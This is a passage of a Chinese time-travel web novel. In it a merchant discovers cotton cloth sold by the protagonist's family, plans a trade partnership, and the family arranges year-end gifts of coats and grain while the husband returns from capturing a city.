柜台里的伙计笑着回话:“掌柜的今日不在,您有何事?” 妇人把面前的东西往前推了推:“这是在你们谢记买的过滤壶,过滤芯我们用完了,这里有卖吗?” 伙计摇头:“您这是在晋州买的吧?对不住,郴州这边的谢记并没有过滤壶和过滤芯卖。” “晋州和郴州的谢记不都是一家吗?” 伙计依旧笑着:“我们是一家没错,只不过郴州这边暂时只卖米粮和菜。” 姚青山跟着旁边,实在好奇,忍不住问:“这过滤壶是做什么的?” 妇人看了他一眼:“这是过滤水的。不管是河的水,还是井里的水,都不干净,都不能直接喝。用过滤壶可以过滤掉水里面不干净的东西。” “这说法倒是新颖!我们一直都在井里打水喝,也没见谁出事!你这个东西,是糊弄人的吧?”旁边有人说道。 妇人反驳:“你没见过,那是你见识少!这过滤壶是袁大人从海外带过来的!当初北凉人往泗水河里投毒,我们晋州就是靠着这过滤壶安然渡过了那段时间!” 晋州?袁大人? 姚青山心里一动:“你这过滤壶能让我看看吗?” 妇人毫不客气拒绝,抱着过滤壶离开了。 姚青山看着妇人远去的背影,心里的好奇依旧没散,又问伙计:“刚才那过滤壶真能过滤掉水里的杂质吗?北凉人往泗水河里投毒,这是什么时候发生的事儿?” “千真万确!只要您用过过滤壶就会明白。平日里,我们从河里井里挑的水看起来干净,其实并不是,里面有许多看不见东西。不过,只要烧开了饮用,也不要紧。” “不知道您有没有留意?无论看起来多干净的水,只要烧过后,底下都会留下一层水垢。但是用过滤壶过滤后的水就没有这种情况,而且,用过滤壶过滤出来的水口感也更好一些。” 姚青山点头。河里的水不干净,他老早就知道了。肉眼看不见,并不代表了水里没东西。 “至于北凉人往泗水河投毒的事情,就发生在我们晋州被围的那段时间里。您到晋州随便找个人打听就知道了。” 姚青山又问:“这过滤壶真的是袁大人从海外带过来的吗?你们知道它是怎么做出来了吗?” 伙计笑着摇头。 姚青山又问了几个问题,伙计如实回答了。有人要买米粮,伙计这才走开。 姚青山从谢记粮行出来,又进了旁边的谢记布庄。里面也很热闹。他跟着人流走了几步,就听到好几个人在询问,还有没有棉衣卖?周围的人也都在念叨棉布棉衣。 姚青山心里奇怪,他名下的姚记就有布庄,什么布帛都卖过,就没有听说过棉布棉衣这两个词。 有买到的人从旁边过去了,赞誉之语不绝于耳。 姚青山更好奇了,走到棉布棉衣的分区,眼睛就直了。 布好不好,行家一眼就能看出来。 姚青山招来一个伙计,让他把自己看中的一匹布拿过来。 青色的棉布柔软服帖,手感很好。虽不如绸布细腻,却有种别样舒适。因为是现代织布机出品,纹理整齐精细。 姚青山摸了一把,心里就喜欢上了。 这种布可比麻布葛布好多了,与绸布相比,也毫不逊色。它的手感很好,做成衣裳穿在身上,既柔软服帖,又透气。 “这棉布怎么卖?”姚青山问。 “四两银子一匹!”郭二柱笑着回答。 “多少?”姚青山怀疑自己听错了。 郭二柱已经多次遇到这样的情况了,面不改色:“四两银子一匹!您手中的这匹棉布,正是我们谢记布庄今年推出的新货。它不仅纹理齐整,手感也很好,无论是穿在外面,还是穿在里面,都很相宜……” 姚青山心里已经炸开了锅。 这么好的布,竟然只卖四两银子一匹吗? 他摸了又摸,爱不释手。 “这布是什么织出的?” 绸布是蚕丝织出来的,麻布和葛布则分别是麻和葛处理过后织出来的。 “是棉花织出来的。” 姚青山愣住了,他第一次听到有种花叫棉花。 郭二柱笑着说:“棉花洁白,丝絮软和,北地这里并不多见。” 这些都是袁掌柜告诉他们的。 姚青山对农事知道的不多,听了郭二柱的话后,准备去打听打听。 这棉布前所未见,且只卖四两银子一匹,这棉花想来并不是很难得的东西。不过,知道这些的人肯定不多。如果将这些棉布运到别的地方,绝对能大赚一笔。 寻常麻布葛布一匹都卖到三两银子左右了,这布比麻布葛布都好,即便是翻个番,卖到六两银子一匹,也会有人来买。 姚青山心里有了想法,依依不舍挪开眼睛,又让伙计取了一匹棉布下来。 同样是现代织布机出品的棉布,纹理差不多,但颜色不同,这匹白色棉布更柔软服帖。 姚青山一眼就看出,手中的这匹白色棉布更适合穿在内里。他问郭二柱:“这匹棉布也是四两银子一匹吗?” 郭二柱笑着摇头:“这匹棉布略贵,需要四两二钱银子一匹!” “好!好!好!” 才四两二钱银子,也不贵。 “这两匹棉布,我都要了……等等,还有那匹!” 姚青山一连挑了好几匹棉布,都让郭二柱包了起来。 郭二柱笑得眼睛都眯成了缝:“老爷眼光真好,您看中的这几匹棉布都是我们布庄卖的最好的!旁边的棉衣,就有一种面料跟这种布一样。” 姚青山顺着郭二柱所指看向旁边的成衣,一下子就被一件大红棉衣吸引了。 120-130 第121章 第121章 主动 那棉衣约莫一尺三寸, 正是两三岁小儿的身量,衣领和袖口包着滚边,颜色喜庆。 姚青山想到了女儿姚琴。要是穿上了这件衣裳, 白胖的小脸配上这身红彤彤, 可就不跟画里的招财童子一样好看了? “那就是棉衣吧?取下来我看看。” 郭二柱招办了。 衣裳一到手上, 姚青山心里就惊了一下。看起来鼓鼓囊囊的棉衣竟然很是轻便, 比差不多长度的斗篷轻了不少。 上手一摸,既柔软又舒适, 比麻葛之类的夹衣不知道好了多少倍。 他是行家,立刻知道这棉衣的夹层里面并不是常见的柳絮和芦花。 “这棉衣怎么卖?里面填塞的是什么?” 郭二柱笑着回答:“二两银子一件,咱们布庄所有的棉衣里面填塞的都是棉花。” 姚青山想起了伙计刚才形容的棉花,颜色洁白, 丝絮软和。他心里对棉花更好奇了。 二两银子一件的棉衣绝对不贵,比上等丝绸夹衣便宜多了。且丝绸夹衣虽细腻柔滑, 但在冬天穿并不暖和,最好能在外面罩件斗篷才行。 而手中的棉衣柔软舒适,他只把手在里面放了一会儿,就感觉到有些暖和了。 “一并包起来了吧!”姚青山仔细看了一会后, 就把棉衣递给了郭二柱。 郭二柱清脆应下了,又引着姚青山看其他棉衣。姚青山挑花了眼,觉得这布庄的棉衣都好,一下子买了好几件。 郭二柱跟在姚青山身边,殷勤说道:“老爷家住哪里?我们布庄可以送货上门。” 姚青山留下了住址, 出门的时候惊觉自己竟然在布庄里逗留了将近两个时辰。不过, 这点耽误他心甘情愿。 这家布庄的棉布好,棉衣更好,若是能拉到其他地方售卖, 他有信心卖到更高的价。 姚家名下原来铺子的交接手续办好后,姚青山又来到了郴州最大的酒楼醉乡居。他以前是这里常客,知道这家酒楼的东家就是郴州商会的会长陈洛西。 酒菜上来后,姚青山等了一会儿,郴州商会的会长陈洛西就到了。 两人相见,一时唏嘘不已,不到半年时间,许多事情都变了。姚青山问起城内如今的情况。 陈洛西摆手叹气:“这郴州城里,咱们商会已经不行了。” 姚青山诧异:“怎么如此?我虽然刚进城,但也看到这里欣欣向荣,各种买卖都有,梧桐巷那边依旧人流如织,这醉乡居楼上楼下客人也不少啊!” 陈洛西又叹了口气。一言难尽。 郴州城虽然依旧热闹,但是他们商会的日子并不好过。以前大家一起,到哪里都能说得上话,即便是北凉人在这里的时候,他们的话也有些用,但现在不顶用了。 姚青山有些糊涂了。 “这郴州城的买卖不好做了吗?” “这倒不是!”陈洛西如实回来。 姚青山愣了愣,压低了声音问:“那是上头的人……不好打交道吗?” 开铺子要交税,每个地方的赋税不一样,和种地一样,赋税重了,这做买卖的人也难以维持。 陈洛西想了想,一时间不知道怎么说。 郴州府衙的张大人等人并不是不好打交道,相反他们鼓励经商,只是规矩颇多,不讲情面。 姚青山看陈洛西这副样子,心里一紧。以为真是赋税加重了。他把铺子拿回来,也看到了商机,若是赋税很重,那就头疼了。 他问起了时下郴州的赋税情况。 “这一块跟以前一样。” 姚青山不明白了。经商环境可以,赋税也不重,商会的日子怎么就不好过了。 陈洛西招了招手,低声把袁博文进城后,办了何家的事情告诉了姚青山。 姚青山愣住了,何有为那厮可不是个好东西,原来是这件事情把郴州商会的人吓到了。 “陈会长不会是被这事吓到了吧?何掌柜是何掌柜,咱们是咱们,只要咱们遵纪守法,应该没事吧。” 陈洛西摇头,“你跟我们不一样,郴州城破的时候你家离开了,我们没走成,在北凉人治下的日子不好过啊,难免要打些交道。那袁大人最恨北凉人了,他不会放过我们这些人的!” 姚青山笑了:“陈会长多虑了,我与袁大人打过交道,他不是这样的人!府衙之所以抄了何家,应该是何家犯了大忌。他若是真看不惯郴州商会,一定会进城后就会取缔了郴州商会。” 陈洛西愣住:“你跟袁大人打过交道?” 姚青山点头:“我与他早就结识了,眼下就住在袁府,不过,等枫叶巷那边的宅院收拾出来后,我们就会搬出来。” 陈洛西眼睛一下子亮了,一把抓住了姚青山:“姚掌柜!您怎么不早说?” 姚青山笑着。这件事情怎么能乱嚷? “来!来!来!姚掌柜,我敬你!”陈洛西一扫先前的沮丧,热情招待姚青山。 姚青山欣然随同。 几杯酒下肚后,陈洛西说:“姚掌柜,你既然回来了,郴州商会的事儿也要出一份力啊!” 晋州军进城后,他们商会的人想尽了办法,才找到一个接近的机会,结果人家根本不领情,转头就把何家办了,可把他们吓到了。 可郴州的环境属实不错,也能赚到钱。府衙那边虽然规矩多,不讲情面。但这里没有那么多事,也不用时时刻刻担心闹事打/砸。 眼下的北地,像这样太平的地方可不多了。北凉人到底是外族。所以虽然大家心里虽怕袁大人算账,但没有一家离开。 姚青山想到今天看到的商机,点头:“陈会长放心,我既然是商会的一员,商会的事情就是我的事情!不过,我今日才拿回铺子,对城里的情况还有些不了解,你能跟我说一说吗?” 陈洛西找到了可以搭上袁府的人,心情大不一样了:“姚掌柜想知道什么?” 姚青山低声问:“我刚才从梧桐巷那边过来,看到那边多了两家铺子……” “姚掌柜是想问谢记粮行和谢记布庄吧?” 姚青山笑了:“正是这两家铺子,不知道是哪家开的?” “姚掌柜住在袁府,都不知道这两家铺子是谁的吗?” 姚青山愣了愣,看到陈洛西脸上的表情,突然想到袁博文的夫人姓谢!今日在粮行那位要买过滤芯的妇人也在喊袁掌柜! “你是说……” 陈洛西笑着点头:“谢记粮行和谢记布庄背后的东家就是袁大人!” 姚青山愣住了,棉布棉衣是袁博文拿出来的?那这买卖怎么谈? “……难怪生意怎么火爆了!” 姚青山感慨完了,没忍住,问:“陈会长见过棉花吗?” 陈洛西摇头,他对棉花也很好奇,这是明晃晃能挣大钱的事儿。 “我也是谢记布庄开起来后,才知道有棉花这种东西的。我听说谢记的棉花是袁大人从海外带过来的,枫叶巷那边还有个作坊,正在用棉花纺纱织布!不过那边护卫森严,一般人进去不了!” 这些姚青山不知道,他连棉花都没有见过。 原来北地这里不仅有棉花,连织布的作坊都有了。如果这件事情能掺和一下…… “陈会长坐过班车吗?” 陈洛西已经乘坐过班车了,说起这事,他也很激动。 “坐过两次了,从郴州到晋州只需要一个多时辰!我第一次乘坐的时候,路上还遇到了土匪!” 姚青山吓了一跳:“土匪?那你们是怎么逃出来?” 陈洛西笑着说:“我们就坐在车里没下来!土匪拦到路当中,随车护卫一梭子下去,就打断其中一个土匪的腿,其他土匪们都吓到了,连同伴都顾不上就闪开了,车就这么开了过去,一点儿事儿都没有!那断了腿的土匪也没被压死,但是吓尿了!” 姚青山想到见到的随车护卫,他们脖子上挂的东西应该就是枪了,听说这东西比弓弩还厉害,眨眼间就能放出许多暗器,北凉骑兵对上都束手无策,寻常土匪自是不用说了。 “陈会长知道这班车是怎么动起来?前面乘坐的人是不是在操控?他是怎么做到的?” 陈洛西笑起来:“姚掌柜问这些,不会是想害我吧?神/器营的东西,岂是我等能随意打听的?” 姚青山连忙告了一声罪。 即便才进城,他也听说了,神/器营的事情不能随意打听,郴州对这些管束十分严格。 他是实在好奇。 酒足饭饱后,姚青山回到了袁府,袁博文依旧不在,谢云溪虽然在府里,但到底是女眷,又有孕在身,姚青山不好打搅。 回到了自家所住的院子里后,姚青山眼睛一亮,他看到袁夫人竟然也来了这里。 “袁夫人!”姚青山跟谢云溪行了礼。 谢云溪起身,笑着说:“姚掌柜眼光真好,您今日在谢记布庄挑的几匹棉布和棉衣都是谢记铺子卖的最好的几样!” 一旁的张莲月也笑意盈盈,她已经给女儿姚琴和儿子姚耀换上新棉衣,儿子直呼暖和,女儿这么一穿,正跟画里的招财童子一样好看了。 今日女儿吃过了两次药后,呼吸已经不急促了,就嗓子里还有东西,脸色好多了。 换上了棉衣,小手也暖呼呼的,精神也好多了。 姚青山也笑着,“是袁大人和袁夫人眼光好,将棉花这么好的东西从海外带了进来,让我们北地的人都穿上了暖和的棉衣。” “我们只是运气好,碰到而已了。” “是运气好,也要有心才行。是袁大人和袁夫人心里有我们北地的百姓,才会这么做的,换上其他人,可不一定能够想到。” 谢云溪抿嘴笑着,这做生意的人就是不一样,会说话。 姚青山看出谢云溪心情不错,话风一转,“这棉花属实是好东西,要是我们北地也有就好了!” 谢云溪一听,心里更乐了:“我们也带了些棉花的种子回来了,预备开年播种。不过眼下形势不好,也不知道这事儿能不能成?” 姚青山的眼睛都瞪大了:“袁大人和袁夫人也带了棉花种子回来吗?太好了!只要有种子,一定能种出棉花!” 北地种不出棉花,那就到南边去种!只要种出了棉花,还愁织不出棉布吗?有了棉布,江陵一带布帛的优势就能被打破。 棉布棉衣可比绸布便宜多了,舒适感也逊色不了多少,只要不瞎,一定知道选哪一种。 “我们带了不少棉花回来,也在枫叶巷和晋州开了织坊,现在谢记布庄卖的棉花棉衣就是织坊出品的,虽然我们知道棉布棉衣是好东西,但我们对经商一道经验不足,有许多地方还要向姚掌柜你们学习!” 姚青山早就心动了:“夫人客气了,有什么事情只管问!” 谢云溪谢过了,“这棉布棉衣,我们是第一次售卖,不敢把价定的太高,不知道现在南边布帛的情况怎么样?” 姚青山还没有回答,张莲月出声了:“夫人,你们的棉布棉衣价格定低了!我听说一匹棉布才卖四两银子!最贵也才四两五钱一匹!这个价绝对是低了!” 姚青山也在一边点头。 谢云溪佯装吃惊:“定低了吗?麻布和葛布,也才二三两银子一匹呢!” 姚青山摇头:“麻布和葛布怎么能跟棉布相比?袁夫人,谢记布庄的棉布即便是翻一番,也绝对有人会买!” 谢云溪瞠目结舌。四两银子翻一番,那就是八两银子,换成人民币就是一万五千元多? 一匹棉布卖一万多元? 她真开不了这个口!现代最好的棉布,一匹才卖几百元。 为了与枫叶巷那边出品的棉布差别不大,他们就挑了现代最常见的几种纯色棉布,最贵的买下来也才一百多元一匹。 “还能翻一番吗?啊呀,是我们不懂行情,但现在已经卖了不少,恐怕不好涨价了。” 姚青山忍不住了:“袁夫人,谢记在郴州和晋州的布价是不好涨了,但是在其他地方还没有卖,价格可以重新定!” 谢云溪没想到这么快就要心愿得偿了,连忙压住了自己的嘴角,佯装想了想:“可我们在其他地方并没有铺子……” 姚青山马上说:“这个不难,我们姚家名下在其他地方有几家布庄,只要袁大人和袁夫人相信我们,你们可以把棉布和棉衣放在姚家名下的布庄售卖。” 谢云溪眼睛亮了,分明心动了,“姚掌柜我们自然是相信的,不过这件事情会不会影响到姚记?我不能做主,等子虚回来了,我问问他。” 姚青山连忙点头,这等大事,自然得袁子虚来拿主意。 他知道袁博文现在身份不一样了,不敢贸然打听他的行踪,只拐着弯问了几句。得知他军中,再不敢问下去了。 谢云溪瞧着时间差不多了,就跟姚青山夫妇告了别。 姚青山的心情很好,已经在想怎么说服袁博文把棉布棉衣在外地的售卖交给姚家布庄来做了。 张莲月咳了几声。 姚青山皱了皱眉:“今日郎中来过吗?” “来过了,他说琴儿的情况好多了。不过,我并没有拿着他开的方子去抓药。而是用了念荟姑娘带过来的药。” 姚青山点头:“袁夫人医术了得,琴儿的情况属实好多了。” 倒是张莲月,不仅不见好转,脸色也更差了一些。 “你应该也让袁夫人看一看!” 张莲月点头,她也觉得自己加重。倒是女儿恢复得很快。 “那棉衣不错,既然买了,你怎么不换上?” 张莲月笑了:“我原本是要换的,袁夫人来了,我便陪着说了会话。” 她说完,起身到里面换上了棉衣,出来的时候,一脸惊喜:“这棉衣真不错!又暖和又舒适!” 姚青山点头,所以他才想接下棉布棉衣在外地的售卖,哪怕是袁府吃肉,他跟着喝点汤,那也是大赚。 “梧桐巷那边的谢记布庄和谢记粮行都是袁夫人的铺子,你有空了,多去转一转。” 女人之间好说话,处久了,对他们只有好处,若是能打听消息,那就更好了。 谢云溪回去的路上,心情也很好,姚青山看上了棉布棉衣,主动开口了。不管是两家合作,还是借着姚家的路子,只要扩大棉布棉衣的销售,他们都能赚不少钱。 士农工商,这里的商虽然排在社会阶级的最底层,但可不能小瞧了他们。 郴州在北凉治下四个多月,大顺和北凉在南北咽喉通道的泗阳关打得不可开交,南边的许多商品依旧源源不断运到了郴州来。这些大商贾的能耐由此可见一斑。 袁博文已经去了贺州,这件事情知道的人不多,谢云溪也很小心,这几天都没有出门。 到了晚上,她就跟袁淼见了面。 袁淼没有看到袁博文:“爸爸这几天在忙什么?” 谢云溪说:“还不是军中的那些事情?北凉人已经到了西宁,局势变化莫测,他们这些人哪敢放松?” 袁淼想想也是,“妈,你今天还好吧?” 谢云溪笑了:“我好得很,你不用担心。你那边几家公司怎么样?矿业公司的运营情况还好吧?” 袁淼点头。至上次收到矿石后,她就在博云矿业这边坐班了。公司的员工都已经知道兴达矿厂的第一批矿石已经运到,且这批矿石含金量不低,大家工作的积极性也高涨了起来。 矿石资源短缺的问题被解决了,她也收获了不少尊重和好感。 “那就好!马上要年底了,你那边棉花能不能再买一些过来?” “好啊,这次要多少?” 袁淼现在已经把博云贸易公司那边交给沈若臻在管,他们最近购买了不少棉花,手中也有几家供应商的联系方式,通常打个电话,就会有供应商送货上门。 谢云溪报了这次需要的棉花量。袁淼记了下来。谢云溪又说:“过段时间,我们可能要把棉布棉衣卖到其他地方去,到时候就会需要更多的棉布棉衣,你这边供应能够跟上吧?” 袁淼愣了愣:“你们准备在其他地方开布庄吗?北地那边不是都被北凉攻陷吗?你们要在他们的地盘上开布庄,会不会很危险?” 谢云溪笑着说:“我们是与其他商家合作!你爸在这边认识了一个姓姚的商贾,走南闯北多年,家里的铺子有十来间,在北地这里好几个州都有。我们想跟他合作,或者借用他的渠道卖棉布棉衣。” 袁淼懂了。这当然是好事,棉布棉衣的利润很大,光最近这段时间,他们就赚了不少,这还只是在郴州和晋州两座城池,如果卖到更多地方去,无疑能赚到更多。 “应该没问题,大概需要多少?我跟供应商那边提前说一声。” “我们现在只是达成了初步意向,具体怎么合作,还没有谈。等谈妥了,我再跟你说。” 袁淼答应了,跟谢云溪说完话,她就把这件事情告诉了沈若臻,让他提前跟熟悉的供货商通个气。 忙完了这些,她揉了揉脖子,镜子里面照出的一张脸有些疲惫。 张青云今天告诉她,曾嘉宝住进了医院,正在保胎。 第122章 第122章 年货 张青云今天告诉她, 曾嘉宝住进了医院,正在保胎。 警察在找过她后,果然又去找了徐清阳, 当天曾嘉宝就住进了医院。 她依旧无法确定杜彦明的事情是否与徐清阳有关。警察还在调查, 她不敢过多参与, 就让张青云去查一查周晟被打的事情。 徐清阳在周群的寿宴上见到过她和周晟在一起。 她希望自己是多心了。 可如果真跟她有关呢? 袁淼皱着眉头, 一时间也不知道该怎么应对。 警告,她已经做过了。 报警……需要证据。否则空口无凭, 她就是诬告。 徐清阳现在可不一般人了。和曾嘉宝结婚,他就是辉华矿业的总经理了,是辉华矿业仅次曾辉华的存在。 * 第二天,谢云溪叫来了袁归。让他把几个铺子和城外矿区以及两边府里的人员都统计了一下。 年底了, 她准备给这些跟着他们的人发点年货。 今年大家的日子都不好过,但他们例外。光粮食和棉布棉衣就赚了不少钱。 袁归去忙了。谢云溪又带着念荟等人来到了姚家所住的院子。 姚青山已经出门了, 姚琴见到她们就笑了。尤其念荟,这几天姚琴吃药都是她在喂。姚琴看到念荟,就伸手要她抱。 加了一点儿白糖的药水,姚琴不仅不排斥, 还挺喜欢喝。 念荟接到谢云溪的眼色后,笑着将姚琴抱了过来。 张莲月笑吟吟说:“这孩子原本认生,但不知怎地,就是喜欢袁夫人和念荟姑娘!” 谢云溪笑着。她心里知道自己是沾了念荟的光,她虽然喜欢孩子, 但如今的情况可不敢抱孩子。 张莲月身边的婆子也是个机灵的:“奴婢听说孩子的眼睛是最干净, 她们一眼就喜欢的人,一定是福泽深厚的。袁夫人和念荟姑娘可就是这样的人?” “嬷嬷谬赞了,是琴儿可爱, 我们都喜欢她。”谢云溪连忙把话题转移,逗着姚琴说话,“琴儿说对不对?” 姚琴格格笑了。 这孩子恢复得很快,只用了三天药,呼吸就平缓了下来,嗓子里的呼啦声也没有了。不过,还是有痰。 逗了一会儿,谢云溪又问:“今日琴儿的药用过吗?” “还没有呢!正准备要吃!”张莲月说。 其实她是被那天的情况吓到了,这几天都是念荟在喂姚琴吃药,今天也在等念荟过来。 “让我喂吧!”念荟说。 已经准备好水和药的丫鬟连忙把东西给念荟。 姚琴吃了药,张莲月心里轻松了一大截,连咳了好几声。 谢云溪看着她:“姚夫人今日请郎中看过了吗?” 先前说话的婆子是张莲月的心腹,知道张莲月的心思,连忙说:“还没有!不过,齐郎中的药,我们夫人已经用了三天,但一点儿都不见好。袁夫人医术了得,能不能请您给我们夫人看看?” 张莲月连忙斥责她。 谢云溪笑着说:“嬷嬷也是关心夫人。她不提,我也是要问的。你这样咳了几天了?” “有十来天了!” 张莲月原本就一直想请谢云溪出手,奈何脸皮太薄,没敢开口,今日总算是等到机会。谢云溪的问话,她都如实回答了。 齐郎中第一天进府的时候,谢云溪就高度怀疑张莲月是肺炎,现在更加肯定了。 看过齐郎中这几天开的方子,谢云溪说: “你这个病我以前也见过……一会儿我配点儿药,让念荟拿过来,你若是相信我,就吃几天看看。” 张莲月大喜,一时间眼眶都有些热:“袁夫人的医术我怎会不信?我的琴儿就是您治好的!我只恨没有早一点来到郴州!” 若是她以前刚结识袁夫人就与她交好了,她的瑟儿说不定也能保下来。 谢云溪拍了拍张莲月的手,又说:“我的药与其他郎中的药不一样,最好两种不要同时服用。吃过药,多喝点水,一点儿不能沾酒,辛辣刺激食物最好也别吃……” 谢云溪交待了用法。 张莲月听得仔细,听完后点头:“袁夫人放心,这些我都记住了,一定遵照使用。” 谢云溪从姚家所住的院子里出来后,就去了自己的小药房,针对张莲月的症状,给她挑了抗生素和化痰药,一样也都碾碎了,用纸包了,让念荟送了过去。 第二天,袁归就送来了人员统计的名单。 谢云溪看着递过来的厚厚一茬册子,愣了片刻。 跟着他们的人,竟然有这么多了吗? 她接过后翻看,袁归在一边说道:“码头那边的宅子,我也去过了。商师傅他们一共是三十六人,名单,我也记下来了。” 谢云溪点了点头。她都忘记了这茬。 威远镖局的人如今也跟着他们,贺威带着几个人去送信了,剩下的人都住在码头那边的宅子里,那里还有十几个袁博文留下的护卫。 这些也是跟着他们过活的人,自然也要照顾到。 “这些一共有多少人?” “一共是一千六百六十四人。” 一千六百六十四人,人数最多的是城外矿区那边,矿工和护卫有六百多人,几个铺子的员工有三百多,枫叶巷那边的织坊和晋州那边的绣纺加起来也有近二百人,剩下的就是晋州和郴州两边府里的人了。 没想到,也就半年多的时间,围在他们身边的人就有将近两千人了。 “你把这些人的身量尺码再统计一下,马上就要年底了,我们准备给他们置办些年货,其中就有一件棉衣。” 袁归愣了一下:“是棉布棉衣吗?” 谢云溪点头:“对!今年大家都不容易,年底了,让大家好好过个年!” 袁归顿了顿,应下了。 谢云溪知道袁归有话没有说出口,以往过年他们也会给身边的人发一些东西,除了银钱,还有布帛等。 这里的布帛贵,重要性仅次银钱。以前他们是没办法,但是现在他们的身后有一个丰足发达的现代世界,许多生活物资价格低廉,尤其布帛。 在袁归看来,一件棉衣要好几两银子,寻常百姓一年的收入也差不多就是这个数。年景好或许多些,但也就只能买下一两匹绸布。 过新年,穿新衣,那是富贵人家才有的光景,老百姓一年到头能买一匹麻布回去自己做衣裳就算是很不错了。 可布他们买到手并不贵,一匹也才百来元,一件棉衣也就一百多元,跟现代一件水果的价钱差不多。 她以前在医院上班,年底发年货,米油水果几乎是必备。 现在她要给这些跟着他们讨生活的人发年货,发一件棉衣,可比发一件水果实在多了。 北地的冬天长,往往十月就开始飘雪了,要到来年三四月间才渐渐暖和起来,有了棉衣,这些人这段时间的日子也好过一些,还能扩大一些影响。 袁归办事的效果很高,只两天就把数据送了过来。 谢云溪看了看,成年人的身量差不多。 袁归看了谢云溪一眼,低头说:“我统计这些的时候,他们有人问原因,我也说了,大伙都很高兴,有个别的人心思不良,竟然谎报尺码,我把他们斥责了一番。但还是有人偷偷这么做了……” 谢云溪笑了:“没事!” 跟现代不一样,这里的成衣售卖,价格与尺码挂钩,同样款式的成衣,尺码大的就比尺码小的要贵。 属实是因为这里的布太贵了。 她理解这些谎报尺码的人,领一件大尺码的棉衣回去了,说不定可以改成两件小尺码的棉衣。 这对其他布庄来说,是不能容忍的事。但是他们不一样。袁淼在现代定做棉衣,只要是款式一样,价格就是一样。 况且,只要棉花种出来了,布帛的价格一定会下来,到时候这种成衣售卖与价格挂钩的情况说不定不会再有了。 这天晚上,谢云溪就把数据报给袁淼,棉衣的款式她依旧是照着这里人们常穿的样式所绘。 袁淼说:“妈,你要发劳保,军大衣就可以,既暖和,又能挡风。” 谢云溪笑了:“我拿出军大衣怎么对外面说?军大衣的面料不是棉质的吧?即便是棉质,你觉得我们这边的织坊能够织出来吗?” 袁淼也笑了。枫叶巷那边织坊出品的棉布,她看过,跟现代织布机织出来的棉布还是比较明显的区别。纹理明显没有机器织出来的整齐精致。 “珍妮纺纱机和飞梭织布机以后肯定是要改进的,改进之后应该会好一些。” 袁淼想了想,又说:“改进后做工的模式可以像棉纺厂靠近。” “棉纺厂那是机织!”谢云溪笑着说。 “珍妮纺纱机和飞梭织布机扩大规模使用,这不就是工厂吗?西方世界第一次工业革命就是从纺织机改进开始的,工厂取代了小作坊!农业社会逐渐进入了工业社会。” 谢云溪看着袁淼,她倒没有想那么多,对西方那些历史也不是很熟悉,但是也知道现代工业革命是从西方先开始的。 袁淼则是自己已经在参与企业管理,对这些逐渐熟悉了起来。 “除了棉衣,还要其他吗?” “粟米和黍米吧!” 现代发年货,米油水果,三大件必备。这几样他们虽然都能拿出,但是对于这里的人们来说,太奢侈了。 粟米和黍米,这两种常用的米粮,这里许多人家就吃不起,更别说油了。能够榨油的农作物产量底下,寻常百姓根本吃不起油,一年到头能吃几次肉就算是很不错了。 所以,谢云溪就准备年货发米粮和棉衣,至于油,她还没有想到可以替代的。 袁淼记了下来。 第二天就让沈若臻联系购买。谢云溪收到的时候,已经几天过去了。她让护卫把袁淼传过来东西分门别类放好,正忙着,突然听到一阵喧哗,念荟急匆匆进来了。 瞅了周围的人不注意的空隙,念荟低声对谢云溪说:“夫人,老爷回来了!” 谢云溪愣了愣。 念荟又说:“刚才有许多将士进城,我看到了老爷,他骑着马,谷雨也在旁边!” 谢云溪有点紧张:“他们看起来如何?有人受伤吗?” 念荟想了想摇头:“老爷和谷雨看起来还好,进城的将士不少,我没有看到有人受伤,不过,我并没有看完,就回来了。” 谢云溪点了点头。 贺州应该是拿下了,袁博文他们离开的时候并没有声张,现在大大咧咧回来了,那就是这件事情已经成了,不用瞒着其他人了。 贺州虽然不大,但也不小,即便是偷袭,想要一点伤亡都没有就拿下来,几乎不可能,伤员应该在后面,他们的行动比较慢。 第123章 第123章 促销 谢云溪让护卫继续整理物资, 等到了晚上,她终于见到了袁博文。 出去了大半个月的袁博文胡渣子都长出来了,盼顾之间气势凌厉。不过, 洗漱过后整个人清爽了许多。谢云溪在旁边帮忙整理。 袁博文笑吟吟看着她, 谢云溪的心情也不错。悬在心里的石头总算落了地, 他们又过了一关。 “贺州是不是打下来了?你们进城的时候, 念荟去看了。城里的人已经在传这件事情了。” 袁博文舒展了一下手脚,坐了下来。 “没事!让他们传吧。这次打贺州, 咱们并没有费多大的劲!北凉在那里的驻兵并不多。” 有霍小北等人在南边剿匪吸引了贺州城内北凉驻兵的注意,袁博文等人快到贺州城下了,城内的驻军这才发现。 他们两边夹击,这一场战打得很顺利, 只在攻城的动用了火/炮,城内的北凉人都没怎么抵抗, 就让他们破了城门,城内的清扫也很顺利。 “伤亡情况呢?贺州城内怎么样?” 袁博文说了数,又摇头:“贺州城内远不如郴州。” “我们进城的时候,街上都没多少人, 大多数门户都管着,那些出来看热闹的人脸色……一言难尽,许多人衣衫褴褛,流民不少。” “我已经让府衙钱大人过去了。” 谢云溪对府衙的几位大人也有印象。这位钱大人,就是当初和张时文一起从晋州到郴州的人。有郴州接管的先例在前, 想来钱大人一定会很快就能理顺贺州的事情。 “送回来的伤员是不是都在安置医棚那边?” 袁博文无奈笑了笑, 看了看谢云溪的肚子说:“你现在可不能再往医棚跑了。这次的伤员并不多。” 谢云溪笑了:“我不去,让念荟带着叶淑婉她们去看看,理论结合实际, 她们才会印象深刻。” 袁博文一脸无奈摇头笑,摸了摸谢云溪的肚子:“这几天他没有淘气吧?” 孕七月的胎儿胎动已经较频繁了,袁博文一摸,里面就有动静了。 谢云溪笑着说:“还好。不过,比淼淼那个时候要活泼一些。” 袁博文想起了女儿:“淼淼那边还好吧?矿业公司那边没什么问题吧?” 他在离开之前传了一批矿石过去,那是第一次,传过去之后,第二天他就悄悄出发了。 “都挺好的,矿业公司那边对你传过去的矿石做了检测,每吨含金量在15克到20克之间,第一批金子也已经完成了提纯工艺。” “这么快吗?”袁博文很惊讶。 “现代矿石提纯工艺已经很成熟了,一吨矿石差不多半个月就能完成提纯工艺整个流程了。” 袁博文想到以前在城外矿区看到的场景。矿石堆旁边的工人密密麻麻,有刀撬手琢的,有手持簸箕淘洗的,也有推磨碾石的,等等,工序复杂。一吨矿石,别说半个月了,一两个月都无法完成全部提纯流程。 “好!明天我去矿区看看,这段时间那边应该也开采出了一些矿石。” 现代矿石提纯工艺成熟,速度快。他们这边采矿的速度就不能慢了。挖金子这事,越快越好。 “姚青山一家搬走了吗?” “还没有呢。你不在的这段时间,姚青山过来了几趟,我瞧着他像是有话要跟你说,不过都被我扯理由打发了。” 